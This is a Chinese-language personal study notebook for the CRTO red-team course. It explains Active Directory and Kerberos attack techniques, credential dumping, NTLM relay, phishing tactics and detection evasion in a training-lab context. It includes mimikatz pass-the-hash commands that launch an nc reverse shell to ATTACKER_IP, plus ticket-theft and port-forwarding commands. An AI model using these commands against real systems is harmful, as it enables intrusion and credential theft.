大师计划1.0 - log2 & CRTO笔记
CRTOⅠ笔记
log2
这个笔记是我在2023年11月23日-12月22日中，学习CRTO所做的一些笔记。
事实上TryHackMe的路径和htb学院包含了许多CRTO的知识并且甚至还超出了CRTO（CS除外），所以很多东西在THM和htb学院学过，这次CRTO等于复习加学习，顺便自己深入学习了一下。当然有许多东西我也没做笔记，不过都是小问题。
接下来我会将开始学习Red Team Development and Operations A Practical Guide，将它加入日程；然后安排CRTOⅡ的学习安排到明年的1月份。
保持学习，接收新知识。
1. What is Red Teaming?
2023年11月25日
10:32
这里我们着重关注几点。
1.红队模拟真实世界中的威胁，例如各类黑客组织、APT等真实威胁
2.
red teams put a
heavy emphasis on stealth and the "principal of least privilege"?
红队 高度重视隐秘性和“最小特权原则”
?
?
2. What is OPSEC?
2023年11月25日
10:38
OPSEC总结几句话其实就是实现隐蔽性所要注意的一些操作，降低我们在攻击时发出的噪音，避免被我们的对手感知
从TryHackMe红队教导的知识中，其实也很容易明白。我们需要从对手的角度看待我们自己的操作，对手发现我们的可能性有多大，对手在发现我们的攻击后，对手会做什么，对手执行操作后，我们还能做什么
行动可以通过“敌”情报来观察。 从红队的角度来看， 将衡量您的行为被观察到的难易程度以及随后的情况被蓝队打断。
THM的OPSEC房间讲述了一些理论知识，CRTO后面也会经常有OPSEC提示
8. ROE
2023年11月25日
10:55
? 定义参与行动对象。
? 定义参与目标(敌对)，包括域和IP 范围。
? 确定任何法律或监管要求和/或限制。
? 包含各方关键人员的紧急联系人名单。
OPSEC
2023年11月24日
22:01
OPSEC: Staged payloads are good if your delivery method limits the amount of data you can send. However,they tend to have more indicators compared to stageless. Given the choice, go stageless. Select the HTTP listener created previously, select Windows EXE as the output and tick Use x64.
OPSEC: The use of 64-bit payloads on 64-bit Operating Systems is preferable to using 32-bit payloads on 64-bit Operating Systems.
对于staged和stageless的选择，THM路径中也有清晰讲述，两者各有优缺点，使用哪种取决其实际环境
OPSEC：快速签入时间可以增加 Beacon 流量被捕获的机会。您还可以添加抖动以随机化签入时间
给定的百分比。
无需多言
2023年11月24日
22:06
3. Internal Phishing
2023年11月24日
22:07
对于网络钓鱼，THM红队路径中有具体的教导，我们也将会使用GoPhish框架来发起网络钓鱼活动。TryHackMe-红队-09_网络钓鱼_Sugobet的博客-CSDN博客
不得不提及一下lnk、scf文件
配合外部recon，我们通过对某个目标的网站、博客、社交媒体、招聘信息等信息，分析目标的日常行为和言语习惯、日常工作情况，分析其弱点，并制作与目标切合的邮件话题，这个话题必须是能够让目标“注意”到的，所以利用其人性的弱点，例如：贪婪、怜悯、好奇、紧张、害怕等心理来达到目的。
26页-Host Recon
2023年11月24日
22:07
在我们执行任何后利用步骤之前，应谨慎评估当前情况。我们执行的每项行动都存在被发现的风险。这种风险的程度取决于我们的能力和
任何防御者的能力。我们可以枚举主机以获取其受保护和监控程度的指标。这可以包括防病毒 (AV) 或端点检测和响应 (EDR) 软件，
Windows 审核策略、PowerShell 日志记录、事件转发
等。 “深度防御”是一个概念，通过该概念，在整个系统或环境中放置多个（独立）安全控制层 - 目的是提供一定程度的冗余，以便在一个发生故障时，其他
层仍然存在。我们必须准备好绕
过多层安全措施。
对于红队队员来说，“深度进攻”是一个类似的概念。此处收集的信息应用于制定您所采取的行动或所采用的策略。例如，如果您有一个最喜欢的执行“X”的
PowerShell 脚本，但启用了 PowerShell 日志记录，则您可能需要完全避免执行“X”，或者找到执行此操作的替代方法（例如 .NET 而不是 PowerShell）。优秀的进攻工程师将拥有多种工具或方法来实现相同的结果。
34页-COM hijacking
2023年11月25日
14:16
当我们能够修改这些条目以指向不同的 DLL（我们控制的DLL）时，COM 劫持就会发挥作用。这样，当应用程序尝试调用特定的组件类时，它不会加载 C:
\Windows\System32\ieframe.dll（例如），而是加载 C:\Temp\evil.dll 或我们指定的任何内容。像这样劫持 COM 对象的危险在于您会破坏功能。有时，这将是一个相对普通的
第三方应用程序，它可能是一个关键的业务应用程序，也可能是整个操作系统。在实际环境中，在不了解 COM 对象的作用或用途的情况下劫持 COM 对象是一个非常
糟糕的主意。
当涉及到 COM 时，HKEY_CLASSES_ROOT 并不是全部 - 当应用程序尝试定位对象时，它会经历一个搜索顺序。机器范围的 COM 对象位于
HKEY_LOCAL_MACHINE\Software\Classes 和 HKEY_CURRENT_USER\Software\Classes 中的每用户对象。然后将这些位置合并以形成 HKEY_CLASSES_ROOT。
任何用户都可以劫持甚至在 HKCU 中注册新的 COM 对象 - 这些仅适用于他们自己，但它们确实优先于 HKLM 中的对象。因此，如果 COM 对象位于 HKLM 中，我们可以将重
复条目放入 HKCU 中，该条目将首先执行。
Host Privilege Escalation
2023年11月24日
22:07
总是有道理的，在多数情况下，我们执行LPE时，是因为提权后，通过本地高特权账户权限能够做更多事情，收集本地机器更多的信息，试图寻找其他脆弱点
但有时候LPE似乎并不是首选，例如Pivot host，如果机器上很难甚至找不到LPE点，那么我们将会浪费时间。然而，在pivot host中，我们做的一件事情应该是尝试持久化，因为作为枢纽，它只需要完成一件事，那就是让我们的流量进入目标网络，而提权在这里显着似乎并没有太过重要，做持久化的目的则是避免丢失对枢纽的控制，因为这是我们进入目标网络的路径
38页-Windows Services
2023年11月25日
14:42
 | |||
| 无需多言，THM都有，基础中的基础 sc query Get-Service wmic service get name,pathname Get-WmiObject -Class Win32_Service | |||
71页-LogonPasswords
2023年11月24日
22:07
Sekurlsa::logonpasswords，它可以从内存中转储凭据，有时候我们可以得到明文密码，即使是ntlm hash，我们页可以尝试crack又或者是pth甚至是pth版的密码喷射
OPSEC：使用它首先就是禁用lsa保护（配置附加 LSA 保护 | Microsoft Learn、Mimikatz - HackTricks）
CRTO建议使用kerberos ekeys的sha hash
72页-ekeys
2023年11月25日
17:10
在用户请求Kerberos TGT（AS-REQ）时，用户会使用其密码派生的加密的密钥把时间戳进行加密，
用于派生此密钥的算法可以是 DES（在当前 Windows 版本上默认禁用）、RC4、AES128 或 AES256，具体取决于
安装的 Windows 版本和 Kerberos 配置。
这意味着一旦我们掌握这个key，我们就可以在没有明文密码的情况下，利用key来加密时间戳，向KDC发起AS-REQ从而请求TGT。
具体分析一下ekey。我们知道，在通过ekey来请求tgt后，KDC会向我们发送AS-RES，里面主要有tgt、enc_part等字段，而下一阶段请求tgs时，我们需要session key来加密username和时间戳。
问题就在这里，我们知道ticket里面也有session key，但ticket是用krbtgt hash加密的，我们没办法解密。
而唯一能取到session key的方法就是从AS-REP包中的enc_part，AS-REP中的enc_part是使用用户的密码hash来加密的。问题是我们只有ekey，好像并不能用于enc_part的解密？解密不了意味着这张tgt使用不了？
解密不了得不到session key确实意味着这张tgt用不了，但是从开头的那句话当中，其实ekey在这里就充当着上面所说的密码hash，只是加密类型不同，如果Kerberos采用aes128，那么ekey是aes128用于加密时间戳。同时enc_part也可以使用这个hash进行解密。
Sekurlsa::ekeys
我们可以像pth一样，pass the key，pth和ptk命令如此相似，也正是因为流程基本一致，只是hash（key)的类型不一样
mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /rc4:96ea24eff4dff1fbe13818fbf12ea7d8 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"
mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /aes128:b65ea8151f13a31d01377f5934bf3883 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"
mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /aes256:b54259bbff03af8d37a138c375e29254a2ca0649337cc4c73addcd696b4cdb65 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"
74页-Domain Cached Credentials
2023年11月25日
21:55
域缓存凭据在需要域凭据才能登录机器的时候才会使用，身份验证可以在本地执行，所以本地会缓存凭据，可以通过转储它并尝试爆破它来获取明文密码
Lsadump::cache
Hashcat
81页-Extracting Kerberos TIckets
2023年11月25日
23:08
当前域机器本地有域用户在此登录后，我们可以尝试从lsass内存中转储其TGT，并进行PTT (Pass the Ticket)，我们的shell必须提升到system，否则权限不足以转储
sekurlsa::tickets /export
kerberos::ptt
值得注意的是，利用这些TGT的前提是我们拥有与之对应的session key，所以我们在转储成kirbi、ccache的时候会把ticket、session key等字段包含进去，最终作为我们使用的TGT
Rubeus.exe triage?? 参数查看机器上的所有登录会话
再通过dump参数将krbtgt转储为kirbi
最后rubeus ptt进行ptt
82页-Password Cracking Tricks and Tips
2023年11月24日
22:07
略过
44页-Domain Recon
2023年11月24日
22:08
本节将回顾（在相对较高的级别）您可以作为标准域用户从当前域枚举的一些信息。当我们讨论这些特定部分时，我们将更详细地介绍其中
许多领域（域信任、Kerberos 滥用、GPO 滥用等）。现在，我们将看到一些可用于查询域的不同工具，以及如何获取目标信息。值得注
意的是，不需要在高完整性过程中执行域侦察，并且在某些情况下（令牌重复）可能是有害的。
45页-61页-PowerView
2023年11月25日
15:30
这个无需多言，htb学院讲的足够多了，我们已经比较熟悉了。
了解一下CRTO在使用PowerView和OPSEC
Find-DomainUserLocation：这个用来查找所有域机器上已登录的域账户信息，也就是通过它我们可以找到哪些域用户在哪些机器上有session，即bloodhound上的HasSession
OPSEC需要注意的是它会对域内的机器进行查询，会有一点嘈杂，这可能会让我们暴露
63页-BloodHound
2023年11月25日
15:43
THM的AD都有
此外，SharpHound还有另一个参数能够避免接触dc
--excludedcs
来自 <https://github.com/BloodHoundAD/SharpHound>
，避免对dc进行枚举以减少嘈杂
75页-Make Token
2023年11月24日
22:08
76页-Process Injection
2023年11月25日
22:43
77页-Token Impersonation
2023年11月25日
22:44
79页-Pass the Hash
2023年11月25日
22:56
CS
Sekurlsa::pth
80页-OverPass the Hash (PTK)
2023年11月25日
23:03
65页-Windows Remote Management
2023年11月24日
22:08
无需多言，老熟人了
winrm的前提需要账户在“Remote Management Users”组中
66页-PsExec
2023年11月25日
16:17
连接到 Admin$ 共享并上传服务二进制文件。Psexec使用psexesvc.exe作为名称。
连接到服务控制管理器以创建并运行名为 PSEXESVC 的服务，并将服务二进制文件与关联。C:\Windows\psexesvc.exe
创建一些命名管道来处理 stdin/stdout/stderr。
THM
管理员和 UAC
在执行整个房间中引入的大多数横向移动技术时，我们将主要使用管理员凭据。虽然人们可能期望每个管理员帐户都用于相同的目的，但必须区分两种类型的管理员：
本地管理员组的本地帐户
本地管理员组的域账户
我们感兴趣的差异是用户帐户控制（UAC） 对本地管理员（默认管理员帐户除外）施加的限制。默认情况下，除非通过 RDP 使用交互式会话，否则本地管理员将无法远程连接到计算机并执行管理任务。Windows 将拒绝通过 RPC、SMB 或 WinRM 请求的任何管理任务，因为此类管理员将使用筛选的中等完整性令牌登录，从而阻止帐户执行特权操作。唯一将获得完全权限的本地帐户是默认管理员帐户。
具有本地管理权限的域帐户将不受相同的处理，并将以完全管理权限登录。
如果需要，可以禁用此安全功能，有时您会发现管理员组中的本地帐户和域帐户之间没有区别。不过，必须记住，如果某些横向移动技术失败，可能是由于在强制使用 UAC 的情况下使用了非默认本地管理员.
69页-DCOM
2023年11月25日
16:37
78页-SpawnAs
2023年11月24日
22:08
90页-Session Passing
2023年11月26日
10:28
91页-SOCKS Proxies
2023年11月26日
10:30
92页-Windows Tools
2023年11月26日
10:42
93页-Browsers
2023年11月26日
10:43
95页-Reverse Port Forwards
2023年11月26日
10:54
(reverse)端口转发我们已经非常熟悉了。
复习一下windows的living off the land bin的端口转发
cmd> netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=8888 connectaddress=127.0.0.1 connectport=8080 protocol=tcp
CS rportfwd
96页-NTLM Relaying
2023年11月26日
12:32
回顾一下NTLM身份验证
NTLM身份验证过程采用质询的方式
客户端首先向服务器资源发起身份验证请求
然后服务器会创建随机数作为challenge发给客户端
[MS-NLMP]：CHALLENGE_MESSAGE |Microsoft 学习
客户端使用其密码hash将challenge进行加密作为response，将username、challenge、response? （type3 response）发回服务器，若服务器本地没有该用户的密码hash，即域用户的凭据在DC的NTDS，这时候会将type3 response发给DC，由DC从NTDS提取该账户密码hash并对challenge进行加密，将DC计算的结果与服务器发来的type3 response进行比对，然后将结果发回服务器
NTLM Relay攻击是攻击者捕获用户的response，然后将其转发回相同的服务器或其他服务器进行身份验证
虽然在windows上我们直接执行ntlm relay似乎有点困难，但LuemmelSec/ntlmrelayx.py_to_exe (github.com)似乎也是一个可执行方案
CS中beacon也可以实现
ntlmrelayx默认情况下，它将使用 Secretsdump 从目标计算机转储本地 SAM，通过-c参数执行命令
强制HTLM身份验证这个不多讲，用的很多了。windows最常见的就是UNC PATH了，搭配lnk、scf等场景应用实现发起NTLM身份验证
此外我们还可以在linux下使用mslink来创建lnk
97页-Data Protection API
2023年11月24日
22:08
98页-Credential Manager
2023年11月26日
15:30
C:\Users\<username>\AppData\Local\Microsoft\Credentials
99页-Google Chrome
2023年11月26日
15:45
100页-Kerberos
2023年11月24日
22:08
Kerberos我们接触的也比较多，简单复习一下流程
当我们尝试登录到域内机器时，首先使用账户的密码派生的加密密钥对时间戳进行加密，与username等字段一起发给DC（AS-REQ），KDC使用其username的加密密钥对这个加密的时间戳进行解密，解密成功则会将ticket和enc_part等字段包含在AS-RES发回给用户.
通过用户密码hash将enc_part字段进行解密，可以得到里面的Encryption key，里面包含session key。
访问特定服务资源时，首先寻找对应的SPN，然后将要请求的SPN、session key加密的时间戳和username，和tgt发给KDC??? (TGS-REQ)。
KDC首先使用krbtgt将tgt解密进行验证，拿到session key对加密的时间戳、username字段进行解密，最后向用户发回TGS-RES包，值得注意的是，只要tgt正确，不管用户有没有权限都会返回tgs。
TGS-RES中包含了ticket、enc_part（svc session key包含在其中，svc session key是使用上面的session key进行加密的）等字段，与AS-RES有些相似。当请求的服务是krbtgt时，获得的tgs可以直接当成tgt用，利用krbtgt的能力进行tgt伪造。而TGS-RES中的ticket是使用服务账户的hash进行加密的。
然后用户将TGS-RES中的enc-part使用session key解密得到svc session key，将username和时间戳使用svc session key进行加密，然后连同tgs ticket发给对应的服务进行验证
服务使用服务账户的hash对tgs进行解密，将ticket里面的enc-part解密得到svc session key，然后利用这个key对加密的时间戳和username进行解密。
101页-Kerberoasting
2023年11月27日
15:12
Kerberoasting老熟人了，我们在域内立足后经常会做的一件事。
Rubeus kerberoast??? 自动寻找域用户并筛选存在SPN的账户，对其SPN进行TGS-REQ。
OPSEC: 由于进行TGS-REQ时，我们需要经过DC，所以会生成4769 tgs请求事件日志，这是值得注意的，所以当我们拥有服务账户hash时，我们可以尝试做银票，这样则不会经过DC，但在对应服务主机还会有事件日志。
还有一个需要注意的opsec，如果蓝队故意伪造SPN账户并监视它，这个时候也就是蜜獾。为了避免上钩，我们在进行kerberoasting时应该注意进攻路径是否存在等因素，先枚举具有SPN的账户名称，而不是盲目的将所有具有SPN的域账户进行tgs-req。
否则的话非但kerberoasting没有为我们扩大攻击面，还被蓝队发现就显得opsec不足
另外是对kerberoasting的进一步分析。
我们在进行TGS-REQ后，KDC向我们返回TGS-REP，里面包含了由session key加密的svc session key 和 ticket等数据。而ticket里面的enc-part也是由服务账户的hash进行加密的，所以我们可以尝试对其进行离线爆破，尝试恢复enc-part，即获得服务账户的明文密码
TGS_REQ & TGS_REP - windows protocol (gitbook.io)
而我们平时进行爆破的所谓hash其实就是ticket里面的enc-part的cipher加其他字段所组成。
102页-AS-REP Roasting
2023年11月27日
16:29
跟kerberoasting一样，也是熟人，我们还没有在域内立足时，我们通常会通过AS-REP Roasting来尝试获得域初始凭据，从而在域内立足.
当某个域账户禁用了预身份验证后，我们可以直接对其账户进行AS-REQ请求
收到AS-REP后，类似于kerberoasting，但这次我们并不是利用ticket里面的enc-part，而是AS-REP里面、ticket外面的enc-part，这个是用用户的hash来加密的session key。
关键点也在这里，我们可以像kerberoasting那样将enc-part组成hash对其进行离线爆破，即获得用户的明文密码。
为什么从AS-REP获得了ticket但是不用呢？
其实道理很简单，因为我们没有用户的明文密码或其hash，也就意味着无法解密外面的enc-part，也就是说获取不到session key，而kirbi、ccache的重要组成部分就是ticket和session key，并且在获取TGS-REP里的svc session key时，也需要session key来解密。如果没有session key，那么这张tgt没有价值。
AS-REP与Kerberoasting有着相似的OPSEC，这里就略过
103页-Unconstrained Delegation
2023年11月29日
10:13
不受约束的委派，在没有委派时，我们从web服务器访问数据库时直接由服务账户对数据库进行访问。而委派则是在web服务器代表用户，利用用户的tgt来访问对应的服务。
不受约束的委派不管用户访问任何服务，只要计算机或者任意域账户开启了不受约束的委派，lsass内存中就会缓存其tgt。而这个tgt源自于tgs，用户请求tgs时，确定访问的是开启了不受约束的委派服务，则会将用户的tgt包含在tgs中，一旦用户拿着tgs访问服务，则会从其提取tgt并将其缓存.
由于不受约束，无论用户访问服务器任何服务都会缓存其tgt，一旦我们能够在开启了不受约束的委派机器上扎根，那么意味着我们能够通过转储lsass内存来提取tgt并进行ptt来进一步利用
Rubeus monitor 来监听新的缓存tgt
配置了非约束委派的用户的userAccountControl 属性有个FLAG位 TrustedForDelegation，可以借此来枚举。
104页-Printer bug
2023年11月29日
11:16
在 2018 年 DerbyCon 上，Will Schroeder、Lee Christensen 和 Matt Nelson 发表了题为“信任 Active Directory 的意外
风险”的演讲。在那次演讲中，他们演示了对手如何通过
他们称为“打印机错误”的方式强制森林中的任何机器向森林中的另一台机器进行身份验证。
MS-RPRN 打印系统远程协议（因此有了可爱的名字）定义了打印客户端和打印服务器之间的打印作业处理和打
印系统管理的通信。 Lee 使用
RpcRemoteFindFirstPrinterChangeNotificationEx() 在打印服务器（机器 A）和打印客户端（机器 B）之间设置更改
通知。这导致机器 A 向机器 B 进行身份验证。
如果机器 B 配置了无约束委派，这将使我们能够捕获机器 A 的 TGT。通过机器 A 的 TGT，我们可以制作服务票证
以作为本地管理员访问机器 A 上的
任何服务。当然，如果机器 A 是域控制器，我们将获得域管理员级别权限。
此外，所有域用户都可以访问此 RPC 服务，自 Windows 8 起默认启用，并且不会被 Microsoft 修复，因为它是“设
计使然”。
在thm中，这个问题也有简要概述和实验
它允许域用户远程强制运行打印后台处理程序服务的目标主机对任意 IP 地址进行身份验证
来自 <TryHackMe-进攻性渗透测试-14_活动目录利用_活动目录攻击-CSDN博客>
要利用printer bug 进行ntlm relay，需要满足这些条件
1.一组有效的 AD 帐户凭据。
2.与目标的 SMB 服务的网络连接。
3.目标主机必须运行后台打印程序服务。
4.主机不得强制实施 SMB 签名。
如果机器B配置了无约束的委派，那么配合printer bug，将能从机器B上获取机器A的tgt
105页-Constrained Delegation
2023年11月29日
13:46
约束委派通过S4U2Self和S4U2Proxy来弥补非约束委派的缺陷（缓存tgt），事实上用不着tgt。
服务1的委派账户使用自己的tgt通过TGS-REQ S4U2Self代表用户请求服务1自身的tgs
然后将这个ticket添加到TGS-REQ的AddtionTicket字段中并发给TGS，返回仅能访问服务2的TGS
然后服务1再使用这个TGS来向服务2进行AP-REQ和AP-REP
106页-Alternate Service Name
2023年12月6日
9:13
DC-2 上的事件日志服务对于横向移动不会立即有用，但服务名称不会在 s4u 中进行验证。这意味着我们可以使用
?/altservice 标志为 DC-2$ 运行的任何服务请求 TGS
在s4u2proxy中，委派服务1使用s4u2self的tgs向KDC代表用户请求服务2的TGS，并且利用这个TGS代表用户访问服务2。而KDC不管怎样，只要tgt有效，都会返回tgs。如果service 2存在其他SPN，可以通过s4u2proxy TGS-REQ body将sname改为其他SPN，KDC不会在s4u阶段进行验证，将由对应服务验证，比如将eventlog/svc2改为cifs/svc2，将可以远程访问文件系统。
PAC
2023年12月12日
18:13
THM
2023年11月24日
22:08
108页-Group Policy
2023年12月6日
11:29
GPO，我们在THM已经学习过如何通过GPO来进行域内纵向移动还有持久化
每个 ACE 都由以下组件组成：
- 有权访问对象（或以图形方式称为主体名称）的用户/组的安全标识符 （SID）
- 表示 ACE 类型（拒绝访问、允许访问或系统审核 ACE）的标志
- 一组标志，用于指定子容器/对象是否可以从主对象或父对象继承给定的 ACE 条目
- 访问掩码，这是一个 32 位值，用于定义授予对象的权限
来自 <Login To HTB Academy & Continue Learning | HTB Academy>
这里重复的我就不记述了，就拿CRTO来举例
这里首先查找acl，过滤object ace type 为"group-Policy-Container"的ace，发现这个ace的Rights是CreateChild，这表明这个组成员有权创建组策略对象。
查找域内所有OU，然后查找这些OU的ACL，过滤object ace type为“GP-Link”，并且查找Rights为Write Property的ace，这说明我们可以修改这个OU的这个ace，指向我们想要指向的GPO。
获取所有GPO，然后查找acl, 具有Write Property、WriteDacl、WriteOwner权限的ace，这里我们可以看到这里的查询结果是Create Child……，从ObjectDN的CN来看，这应该是一个GPO，而SecurityIdentifier是一个组
再查看一下这个GPO的名字为PowerShell Logging。即Developers组有权对GPO PowerShell Logging修改
再看一个例子
PS C:\htb> Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid}AceQualifier?????????? : AccessAllowed
ObjectDN?????????????? : CN=Dana Amundsen,OU=DevOps,OU=IT,OU=HQ-NYC,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
ActiveDirectoryRights? : ExtendedRight
ObjectAceType????????? : User-Force-Change-Password
ObjectSID????????????? : S-1-5-21-3842939050-3880317879-2865463114-1176
InheritanceFlags?????? : ContainerInherit
BinaryLength?????????? : 56
AceType??????????????? : AccessAllowedObject
ObjectAceFlags???????? : ObjectAceTypePresent
IsCallback???????????? : False
PropagationFlags?????? : None
SecurityIdentifier???? : S-1-5-21-3842939050-3880317879-2865463114-1181
AccessMask???????????? : 256
AuditFlags???????????? : None
IsInherited??????????? : False
AceFlags?????????????? : ContainerInherit
InheritedObjectAceType : All
OpaqueLength?????????? : 0
来自 <Login To HTB Academy & Continue Learning | HTB Academy>
这里主要要区分的是ObjectAceType和AceType字段，AceType字段就是上面提到的ace type, 即允许或拒绝访问字段；而这里的ObjectAceType才是顾名思义的type，这里的type是User-Force-Change-Password，表明我们可以强制更改ObjectDN的密码，在上面的GP-Link的例子中，ObjectAceType为GP-Link，这里就要看Rights了，拥有WriteProperty，也就是说可以修改这个“Link”
对于各种acl abuse，在bloodhound的官方文档上有着很多详细的介绍和例子，我平时也会在这里查看利用信息和方法
SharpGPOAbuse
MSSQL
2023年11月24日
22:08
轻松，略过
2023年11月24日
22:09
123页-DCSync Backdoor
2023年11月24日
22:09
124页-AdminSDHolder Backdoor
2023年12月12日
12:00
125页-Remote Registry Backdoor
2023年12月12日
17:53
126页-Skeleton key
2023年12月12日
17:52
127页-Silver Tickets
2023年12月12日
12:20
银票能打的前提是没有PAC，因为如果我们只有目标服务账户hash，不足以我们伪造PAC，后续AP-REQ时，服务器向KDC提供PAC以验证权限时，就会出错
128页-Golden Tickets
2023年12月12日
16:19
金票这里还分两种，一种是域内金票，一种是利用域信任中的父子关系的Inter-Realm域间金票，能够接管父域的golden ticket
域间金票主要通过利用父子信任关系，为tgt添加EA组作为额外的sid。即sid history的打法。
金票从头到尾都是利用krbtgt hash来伪造的，与钻票不同，金票连PAC也是自己离线伪造的。而钻票的PAC是将合法的篡改的。所以在OPSEC上看，金票容易被检测，因为它没有对应的tgt请求日志。
另一个OPSEC则是最常见的tgt有效期的问题，mimikatz默认金票有效期是十年，这一点很容易被发现。可以通过/endin来修改
Inter-Realm金票的具体其实就是sid history的打法，在金票中添加父域的特权组（EA、DA等）的sid，使用这张金票，向父dc请求krbtgt服务的tgs，即请求访问父域的tgt，后续就是常规操作。
不过还得注意sid filtering的问题SID 历史记录和 SID 筛选 - Active Directory Windows Server 2008 (serverbrain.org)，否则这种打法可能不会有效。
至于具体的过程，
首先使用子dc的krbtgt hash伪造金票并在金票添加额外的sid 或 为子域内的域账户添加sid history
具体是向PAC中的AuthorizationData的PAC_INFO_BUFFER? type 1，KERB_VALIDATION_INFO数据中的ExtraSids字段添加额外的sid.
然后使用这张金票或子dc返回的正常tgt去找父dc请求父域krbtgt的tgs，即父域的tgt
然后使用这张tgt请求tgs，用户使用tgs访问服务，最后服务器拿PAC向KDC验证
PAC中的ExtraSids字段的sid最终也会被参与到token的计算并确认权限
[MS-DTYP]：令牌/授权上下文 |Microsoft 学习
Diamond Tickets
2023年12月12日
16:19
钻石票是通过修改 DC 发行的合法 TGT 的字段来制作的。这是通过请求 TGT，使用域的 krbtgt 哈希对其进行解密，修改票证的所需字段，然后重新加密来实现的。这克服了上述金票的两个缺点，因为：
- TGS-REQ 将具有前面的 AS-REQ。
- TGT 由 DC 颁发，这意味着它将具有域的 Kerberos 策略中的所有正确详细信息。尽管这些可以准确地伪造在金票中，但它更加复杂且容易出错。
在过去的钻票中，我们通过利用UserAccountControl的NA位为33554432，即NO_AUTH_DATA_REQUIRED，不强制使用PAC，然后通过krbtgt aes256 key伪造PAC加入到TGT中，后续进行TGS-REQ，KDC验证TGT，然后返回TGS-REP，然后进行AP-REQ，服务器将PAC提取，并交给KDC进行验证其权限。
在2021年的一次更新后似乎就无法使用了，无法再使用没有PAC的TGT，我认为应该是不能再申请没有PAC的ticket.
但我们拥有krbtgt hash，我们可以利用此aes256 key来解密并串改合法的PAC（userid、groupid等），然后再使用key来签名和加密PAC，之后的步骤依然同上
130页-Parent/Child(two way)
2023年11月24日
22:09
PS C:\htb> Get-DomainTrust
SourceName????? : INLANEFREIGHT.LOCAL
TargetName????? : LOGISTICS.INLANEFREIGHT.LOCAL
TrustType?????? : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : WITHIN_FOREST
TrustDirection? : Bidirectional
WhenCreated???? : 11/1/2021 6:20:22 PM
WhenChanged???? : 2/26/2022 11:55:55 PM
?
SourceName????? : INLANEFREIGHT.LOCAL
TargetName????? : FREIGHTLOGISTICS.LOCAL
TrustType?????? : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : FOREST_TRANSITIVE
TrustDirection? : Bidirectional
WhenCreated???? : 11/1/2021 8:07:09 PM
WhenChanged???? : 2/27/2022 12:02:39 AM
来自 <Login To HTB Academy & Continue Learning | HTB Academy>
第一个输出结果是一个父子关系，within forest，而且是双向信任。第二个信任是从inlanefreight到freightlogistics的林间双向信任。
在128页-Golden Tickets，我把域间金票和sid history写到这里了
131页-One Way(Inbound)
2023年12月15日
17:06
dev到subsidiary的林间inbound单向信任，这表明dev可以访问目标域subsidiary的资源，反过来则不行。
128页-Golden Tickets
132页-One Way(Outbound)
2023年12月15日
18:29
于Inbound相反，cyberbotic到zeropointsecurity的outbound则表示zeropointsecurity可以单向访问到cyberbotic.
133页-Local Administrator Password Solution
2023年11月24日
22:09
2023年11月24日
22:09
2023年11月24日
22:09
2023年11月24日
22:09
2023年11月24日
22:10
2023年11月24日
22:10
2023年11月25日
21:56
2023年11月24日
22:08
2023年11月24日
22:08
2023年11月24日
22:07
已使用 OneNote 创建。
本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。 如若内容造成侵权/违法违规/事实不符，请联系我的编程经验分享网邮箱：veading@qq.com进行投诉反馈，一经查实，立即删除！